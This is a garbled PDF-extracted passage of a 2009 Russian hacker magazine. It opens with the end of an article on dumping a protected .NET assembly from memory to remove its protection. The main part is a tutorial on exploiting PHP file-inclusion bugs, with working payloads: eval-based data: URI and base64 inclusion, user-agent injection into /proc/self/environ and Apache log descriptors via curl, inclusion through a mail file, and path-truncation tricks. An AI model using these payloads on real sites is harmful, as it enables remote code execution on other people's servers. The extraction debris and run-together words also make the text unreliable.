книги хакеры / журнал хакер / 127_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
>> взломw Click |
|
BUY |
|
|
|||||||||||
w Click |
to |
|
|
|
|
|
m |
|
to |
|
|
|
|
|
m |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
ДАМППАМЯТИУЖЕРАСШИФРОВАННОЙСБОРКИ |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
атакжешифрованиястрок.Онатакиделает,ноанализкода |
делаемдампILикомпилируем…—получаемновуюполностью |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
отэтогонеусложняется.Нуда,теперьметодыназываются |
работоспособнуюсборкусоснятойзащитой.Вокак! |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
типаa,b…Тотжеобработчикмылегкоидентифицируемпо |
Справедливостирадистоитотметить,чтовтекущейверсии |
DVD |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
определениюделегата,ашифрованныестрокивсеравнобудут CodeVeil3.2,позаявлениюразработчиков,реализованадина- |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
расшифрованы.Такчто,нихренаэтонезащита. |
мическаязащитавовремяисполнения,чтосильнозатрудняет |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
Второйметодсвязансостатическимшифрованиемвсейсбор- |
задачу.Необходимодетальноисследоватьнативныйкод |
dvd |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
ки.Вбинарниквставляетсянативныйкод,которыйрасшиф- |
шифровщика.Мнекажется,чтосозданиеunpacker’а—лишь |
Надискетынайдешь |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
ровываетсборкупризагрузкеприложенияизащищаетееот |
вопросвремени.Поканиктоэтузадачунерешил,такчто |
всеупомянутыев |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
статическогоанализа.Решенийтаких—нупростооченьмного. |
дерзай,возможно,получитсяутебя. |
статьетулзы, офици- |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
Одноизсамыхизвестных—CodeVeilотXHEO.Реальнокрутая |
Такимобразом,программиступриходитсяполагатьсятолько |
альноеописаниеCIL |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
тулза!ПопробуемзашифроватьсборкуиоткрытьеевReflector. |
насамогосебя.Можношифроватьсборки,динамически |
отMicrosoft, атакже |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
Оба-на,ошибка:«Module…doesnotcontainCLIheader». |
расшифровыватьихвовремяисполненияиподгружатьс |
препарируемый |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
Reflector,ILDASMидругиеутилыдаженеидентифицируютее |
помощьюApplication.Load.Вобщем,всекаквстаромдобром |
CrackMe иегопро- |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
как.NET-сборку.Междупрочим,вProfessional-версииутила |
Assembler’е.Аможновоспользоватьсявиртуальнымиконтей- |
патченнуюверсию. |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
стоит1200зеленыхрублей,алозунгее—«Don’tjustconfuse |
нерамитипаThinAppилиXenocode.Нуалучшевсегоивовсе |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
hackers.Stopthem».Впечатляетивдохновляет! |
реализовыватькритическиеучасткиспомощьюнеуправляе- |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
Ломаетсятакаязащитавдвасчета.Давайподумаем.Если |
могокода. |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
сборкарасшифровываетсявпамятипередпередачейуправ- |
ИЗРОССИИСЛЮБОВЬЮ |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
ленияCLR,значит,нужнопростоснятьдамппамяти.Загру- |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
жаем«защищенную»посамыеникудасборкувпамятьицеп- |
Помни,чтотолькопрактикаспособствуеттвоемуразвитию.Как |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
ляемсякнейWinHex’ом(ToolsÆOpenRam;далеевыбираем |
видишь,всенетакужсложно,но,заходянасайтглобального |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
процессимодульвнем).Копируемвфайлсодержимоепамяти: рейтингаwww.wechall.net,ясгрустьюобнаруживаюРоссиюна |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
CTRL+A,затемEditÆCopyAllÆIntoNewFileисохраняем |
25-мместе.Врейтингезарегистрировановсего5российских |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
подименемapp14_unveiled.exe.Пытаемсязапуститьиловим |
хакеров-участников!Давайподдержимнашустрану:регистри- |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
ошибкуинициализации.Видимо,где-топоползлисекции. |
руйсянасайтах-челленджахибросайбаллывкопилкуРодины. |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
ОткрываемвReflectorи,очудо,кодкакналадони;правда,не |
ВсеописанныедействиясовершеныподмузыкуДжоКокера. |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
работаетReflexil,вылетаясисключением.ЗапускаемILDASM, |
Слушайблюзибудьсчастлив!z |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
XÀÊÅÐ 07 /127/ 09 |
|
059 |
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
НОВЫЕ
СПОСОБЫ
ВЗЛОМА
МАГ / ICQ 884888, HTTP://WAP-CHAT.RU /
НОВАЯВЕХА ВТЕОРИИИНКЛУДА
СВЕЖИЕСПОСОБЫРАСКРУТКИ LOCAL ИREMOTE FILE INCLUDE
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Спросисебя: чтотызнаешьобудаленномилилокальноминклуде? Наверняка, вответебудутследующиефразы: «обрезаниенеугодного расширенияспомощьюнулл-байта», «инклудфайловсессиииз/tmp, картиноксшеллом, логовапача...». Спешузаверить, чтоэтодалеконе всеспособывыжатьизинклудаабсолютныймаксимум! Сейчас явподробностяхрасскажуонедавноопубликованныхинтереснейшихспособахэксплуатацииэтогораспространенногобага.
>> взлом
ПРОТОКОЛ«DATA» |
изучитьRFC 2397, ссылкинакоторый, как |
|
<?php |
||
Первымделомхочупознакомитьтебяс |
всегда, ищивсносках). |
$dir = $_GET['dir']; |
отличнымспособомобходамножествахитрых |
Итак, представь, чтовисследуемомphp- |
|
фильтрацийприудаленноминклуде. Сейспо- |
скрипте(php>=5.2.0 — именносэтойверсии |
//наш мега-фильтр |
собзаключаетсявиспользованиипротокола |
включенаподдержкаdata идругихпротоко- |
$dir = str_replace(array('http://', |
Data (дляпониманияпротоколажелательно |
лов) содержитсяследующийкод: |
'ftp://','/','.'), '', $dir); |
|
|
|
060 |
XÀÊÅÐ 07 /127/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ЭТОИЕСТЬPHPINFO() ЧЕРЕЗПРОТОКОЛDATA ВЫВОД/PROC/SELF/FD
ОРИГИНАЛЬНОЕADVISORY PHP FILEPATH TRUNCATION
МЫЛО, ОТПРАВЛЕННОЕТЕКУЩЕМУПОЛЬЗОВАТЕЛЮHTTPD
//стандартный файл инклуда для любой директории
$dir .= '/pages/default.php';
//собственно, инклуд include($dir . '/pages/default. php');
?>
Кажется, чтовэтойситуациинепрокатитникакойудаленныйинклуд. Ведь, крометого, что режутсястандартные"http://", "ftp://", поднож фильтрапопадаютещеиточкасослешем!
Атеперьпосмотривнимательнонаследующий эксплойтдлянашейRFI икрасивогообхода фильтра, мешающегодобросовестномухакеру (какиприлюбомдругомудаленноминклуде,
директиваPHP — allow_url_include, естествен-
но, должнанаходитьсявположенииOn):
http://localhost/index.
php?dir=data:,<?php eval($_ REQUEST[cmd]); ?>&cmd=phpinfo();
Этоткодвполнеуспешнопокажеттебевывод функцииphpinfo()! Ночтоделать, когда фильтрациястановитсяещеболеежесткойи принимаетпримерноследующийвид?
<?php
...
//более навороченный фильтр $dir = str_replace(array('_','] ','[',')','(','$','http://','ft p://','/','.'), '', $dir);
$dir = htmlspecialchars($dir);
...
?>
Тысноваможешьподумать, чтоздесьневоз- можновыполнитьпроизвольныйphp-код (дажепоприведенномувышесценарию), так какфильтромрежутсяпрактическивсесимволы, используемыевнашемevil-коде. Ноне тут-тобыло. Ужеполюбившийсятебепротокол «data» поддерживаеттакуюполезнуювещь, какbase64 (кстати, еслифильтруютсяисимволы«+», «=», наверняка, тысможешьподобрать base64-значениесвоегошеллабезних).
http://localhost/index.php?dir=dat
a:;base64,PD9waHAgZXZhbCgkX1JFUVVF
U1RbY21kXSk7ID8+&cmd=phpinfo(); ("+" заменить на url-кодированное "%2b")
Ивновьнаэкранеphpinfo()!
Нонельзяостанавливатьсянаодномлишь RFI. Приготовьсяксамомувкусному.
УСЛУЖЛИВЫЙ
/PROC/SELF/ENVIRON
Представь, чтонаопределенномсайте(http:// site.com) присутствуетследующийphp-код:
<?php
$page = $_GET['page']; include('./pages/'.$page); ?>
Затемвообрази, чтовозможностизалить файл/картинкусшелломунаснет, путиклогам апачамыненашли, ав/tmp несохраняются данныесессий. Соседнихсайтовтакженет. Чтоделать?
НеискушенныйвLFI хакеропустилбыруки. Мынеизтаких, ибонапомощьспешитхранилищепеременныхокружения/proc/self/
environ! Итак, когдамызапрашиваемлюбую php-страничкунасервере, создаетсяновый процесс. В*nix-системахкаждыйпроцесс имеетсвоюсобственнуюзаписьв/proc, а/ proc/self, всвоюочередь, — этостатический путьисимволическаяссылка, содержащая полезнуюинформациюдляпоследнихпроцессов.
Еслимыинжектнемнашevil-кодв/proc/self/ environ, тосможемзапускатьпроизвольные командыспомощьюLFI :). Заманчиво? А теперь, собственно, вопрос: какимобразом можновставитьсвоезначениесevil-кодомв/ proc/self/environ?
Оченьпросто! Темжеспособом, какимты инжектишьсвойкодвлогиапача, можнопро-
инжектитькодив/proc/self/environ.
Дляпримеравозьмемнашлюбимыйилегко подменяемыйюзерагент. Подефолтучасть/ proc/self/environ, показывающаяuseragent,
выглядитпримернотак:
PATH=/sbin:/usr/sbin:/bin:/usr/
bin:/usr/X11R6/bin:/usr/bin:/bin SERVER_ADMIN=admin@site.com
...
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 HTTP_KEEP_ALIVE=150
...
Атеперьменяемюзерагентна<?php eval($_ GET[cmd]); ?> иобращаемсякнашемууязвимомускриптуследующимобразом:
curl "http://site.com/index.php?p age=../../../../../../../../proc/ self/environ&cmd=phpinfo();" -H
XÀÊÅÐ 07 /127/ 09 |
061 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ВЫВОД/PROC/SELF/ ВЫВОД/PROC/SELF/ENVIRON STATUS
"User-Agent: <?php eval(\$_GET[cmd]); ?>"
|
|
|
Какиследовалоожидать, функцияphpinfo() успешновы- |
|
HTTP://WWW |
|
полнится. Приэтомчасть/proc/self/environ сюзерагентом |
|
links |
|
будетвыглядетьтак: |
|
|
|
• ru.php.net/manual/ |
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/ |
||
|
|
|
|
ru/wrappers.data.php |
X11R6/bin:/usr/bin:/bin |
||
— протоколData (RFC |
SERVER_ADMIN=admin@site.com |
||
2397) иописаниеего |
... |
||
использованиявphp. |
<?php eval($_GET[cmd]); ?> HTTP_KEEP_ |
||
en.wikipedia.org/wiki/ |
ALIVE=150 |
||
Data_URI_scheme |
... |
||
— описаниесамого |
|
||
|
|||
протокола. |
Методвсемхорош, крометого, чтострокаюзерагентаи |
||
• ush.it/2008/08/18/ |
evil-коддолжныбытьвнедреныбыстроиодновременно |
||
lfi2rce-local- |
(таккактвойкодв/proc/self/environ легкосможетизме- |
||
file-inclusion- |
нитьлюбойдругойтолькочтозапущенныйпроцесс). Поэ- |
||
to-remote-code- |
тому, намотаввновьполученныезнаниянаус, переходимк |
||
execution-advanced- |
следующемуспособу. |
||
exploitation-proc- |
ЛОГИ, МЫВАСНАЙДЕМ! |
||
shortcuts — proc |
|||
shortcuts. |
Снова представь, что у нас есть сайт с локальным |
||
milw0rm.com/ |
инклудом, но проинклудить ничего не получается. |
||
papers/260 — всео |
Как узнать местонахождение апачевских access_log |
||
LFI/RFI. |
и error_log? По секрету скажу, что знать, где они |
||
• itbloggen.se/cs/ |
лежат, вовсе не обязательно! Для нас постарался |
||
blogs/secteam/ |
все тот же /proc, ведь здесь расположена удобная |
||
archive/2009/01/26/ |
символическая ссылка на реальную локацию логов |
||
alternative-ways- |
apache. |
||
to-exploit-PHP- |
Использоватьеедляинклудаможнонесколькимиспосо- |
||
remote-file-include- |
бами: |
||
vulnerabilities.aspx |
1. Черезid процессаиярлыки |
||
— инклудчерезmail. |
|
||
• ush.it/2009/02/08/ |
/proc/%{PID}/fd/%{FD_ID} |
||
php-filesystem- |
|
||
|
|||
attack-vectors — ата- |
Здесь: %{PID} — идпроцесса(узнатьможно, прочитав/ |
||
канаphp-filesystem. |
proc/self/status), %{FD_ID} — ярлыкинасоответствующие |
||
• raz0r.name/articles/ |
файлы(обычно2 и7 — логиапача). |
||
null-byte-alternative |
Пример: |
||
— подробнооб |
|
||
альтернативенулл- |
http://site.com/index.php?page=../../../../. |
||
байту. |
./../../../proc/self/status |
||
|
|
|
|
|
|
|
Допустим, %{PID} равен1228, тогдаконечныйэксплойт |
|
|
|
будетвыглядетьследующимобразом: |
curl "http://site.com/index.php?page =../../../../../../../../proc/1228/ fd/2&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>"
2.Напрямую, безузнаванияid процесса
curl "http://site.com/index.php?page =../../../../../../../../proc/self/ fd/2&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>"
Этотспособболееприемлемдлятебя, таккак«self» — это всегдатекущийпроцесс, авпервомслучае%{PID} имеет дурноесвойствооченьчастоменяться. Вобоихперечисленныхспособах, какивлюбомдругомLFI логовапача, этисамыелоги, естественно, должныбытьдоступныдля чтения.
ПОЛЕЗНОЕМЫЛО
На этот раз тебе необходимо представить, что на сайте жертвы не работают все предыдущие способы LFI. Невероятно и страшно! Но такие случаи действительно бывают, и итальянские хакеры secteam смогли придумать удивительный способ инклуда через обычный e-mail!
Итак, большинствотипичныхвеб-приложенийсодержат
всебефункциюотправкимылавкачествечастирегистрационнойсистемы, каких-либоподписокит.д. Зачастую юзерможетизменятьсодержимоетакогописьма. Втоже времяниксымогутсохранятьтакоемылолокально.
СаматехникаLFI черезmail выглядитследующимобразом:
1.Уатакующегоестьпрофайлввеб-приложениинауязви- момсервере.
2.Атакующийизменяеткакую-либочастьпрофайла(на- пример, about), котораядолжнаприйтивписьмевкачествеподтверждениясменыинформации, насвойevil-php код, подготовленныйдлялокальногоинклуда.
3. Атакующийизменяетсвойe-mail наwww-data@ localhost (www-data — юзер, подкоторымзапущенhttpd;
иммогутбытьтакиезначения, как«apache», «wwwrun», «nobody», «wwwdata» ит.д.).
Витоге, отправленноемылобудетлежатьв/var/mail (либо
в/var/spool/mail) ииметьназваниеюзераhttpd.
Вотэксплойтдляэтогоспособа:
062 |
XÀÊÅÐ 07 /127/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
curl "http://site.com/index.php?page=
../../../../../../../../var/mail/wwwdata&cmd=phpinfo();"
Также, стоитотметить, чтоmail-файлбудетдоступентолько томуюзеру, комуипредназначенописьмо(тоесть, апач долженбытьобязательнозапущенподтемжепользователем).
NULL-БАЙТОТДЫХАЕТ
Снова включи воображение и представь, что все вышеописанные способы отлично работают, но уязвимое приложение содержит на этот раз следующий код:
<?php
$page = $_GET['page'];
//защита от "ядовитого нуля" if (!get_magic_quotes_gpc())
$page = addslashes($page);
include('./pages/'.$page.'.php'); ?>
Какбыть? Можнопроинклудитьлоги, новконцедописываетсянеобрезаемоеобычным%00 расширение«.php».
Наэтотразтебепоможетфича(иливсе-такиуязвимость?) самогоphp, обнаруженнаяюзеромпопулярногозабугорногохакерскогофорумаsla.ckers.org состраннымником barbarianbob.
Фича заключается в том, что интерпретатор php во время обработки пути до какого-либо файла или папки обрезает лишние символы «/» и «/.», а также, в зависимости от платформы, использует определенное ограничение на длину этого самого пути (ограничение хранится в константе MAXPATHLEN). В результате, все символы, находящиеся за пределами этого значения, отбрасываются.
ТеперьдавайподробнейрассмотримэтотвекторLFI, обратившиськуязвимомускриптуследующимобразом:
curl "http://site.com/index.php?page=../../.. /../../../../../proc/self/environ/////////// [4096 слешей]////////&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>"
Нашлюбимыйphpinfo(); выполнитсяуспешноиз-зане- сколькихпричин.
1.Инклудвсамомскриптеприметследующийвид–
<?php
...
include('./pages/../../../../../../../../ proc/self/environ//////////[4096 слешей]////.php');
...
?>
2. Таккакнашпутьполучитсягораздодлиннее, чем MAXPATHLEN (кстати, необязательноонбудетравен именно4096; ввинде, например, онможетбытьравен всеголишь200 символамсхвостиком, — советуюнакаждойсистеметеститьэтозначениеотдельно), тосимволы, находящиесявконцепути(вданномслучае— некоторое количествослешейи«.php»), интерпретаторphp, неспра-
XÀÊÅÐ 07 /127/ 09
шиваяниукогоразрешения, успешноотсечет. |
|
3.Послепункта«2» нашкодприметпримернотакойвид: |
INFO |
<?php
...
include('./pages/../../../../../../../../ proc/self/environ/////////////[куча слешей]');
...
?>
Как тебе уже известно, лишние слеши в конце пути услужливый php также обрежет, и наш злонамеренный код, в конце концов, превратится во вполне рабочий LFI!
<?php
...
include('./pages/../../../../../../../../ proc/self/environ');
...
?>
Длятестаколичестваслешейдляиспользованиявданной уязвимостинасвоемсервересоветуюпопробоватьследу- ющийphp-скрипт.
<?php
//какой файл нужно проинклудить $file_for_include = 'work.txt';
for($i=1;$i<=4096;$i++)
{
$its_work = file_get_contents('http:// localhost/test/'.$file_for_include.str_ repeat('/',$i).'.php');
info
•СпасибоАнтичатуза раскопкиописанных уязвимостей.
•LFI/RFI илипросто
«Local/Remote File Include» — наиболее частовстречающаяся уязвимостьвphpскриптах.
WARNING |
warning
Внимание! Информацияпредставлена исключительно сцельюознаком-
ления! Ниавтор, ни редакциязатвои действияответственностиненесут!
DVD |
if($its_work=='1')
{
print 'Использовано слешей: '.$i;
break;
}
}
?>
Рядомсоскриптомпростоположифайлwork.txt сзаписаннойвнемединичкой.
Еслиинклудпроизошелуспешно, скриптвыведеттебе количествослешей, использованныхдляэтогосамого инклуда.
Дляполнотыпониманиятехническихсторонданногобага советуюоченьвнимательноизучитьсоответствующие ссылкивсносках.
dvd
• Всескрипты ипримерыинклудов, упоминающихся встатье, ищина диске.
• Надискетынайдешь увлекательныйвидеоурок, позволяющийна практикеувидетьперечисленныевстатье способыинклуда.
ИНАПОСЛЕДОК...
Как видишь, прогресс в ресерчинге уязвимостей не стоит на месте. Новые баги находятся уже не в phpскриптах, а в самом интерпретаторе php! То, что раньше, казалось, взломать невозможно, сейчас представляется не более чем детской шалостью и развлечением для матерого хакера. Null-байтужепрактическиканулв лету, инклудлоговапачаобрастаетновымиизощренными методами, RFI становитсядоступнымчерезпротоколы, отличныеотftp иhttp... Чтодальше? Поживем— увидим. Естественно, внашихрубриках:). z
063
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
НОВЫЕ
СПОСОБЫ
ВЗЛОМА
СЛЕПАЯ QWAZAR / HRONOUS@MAIL.RU /
БЫСТРОТА
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
НОВЕЙШИЕ МЕТОДЫ BLIND SQL INJECTION
Каждыйраз, натыкаясьнаслепуюSQL-инъекцию, тыпредставляешь себедолгиеминутыожиданияполучениярезультатовизбазы.
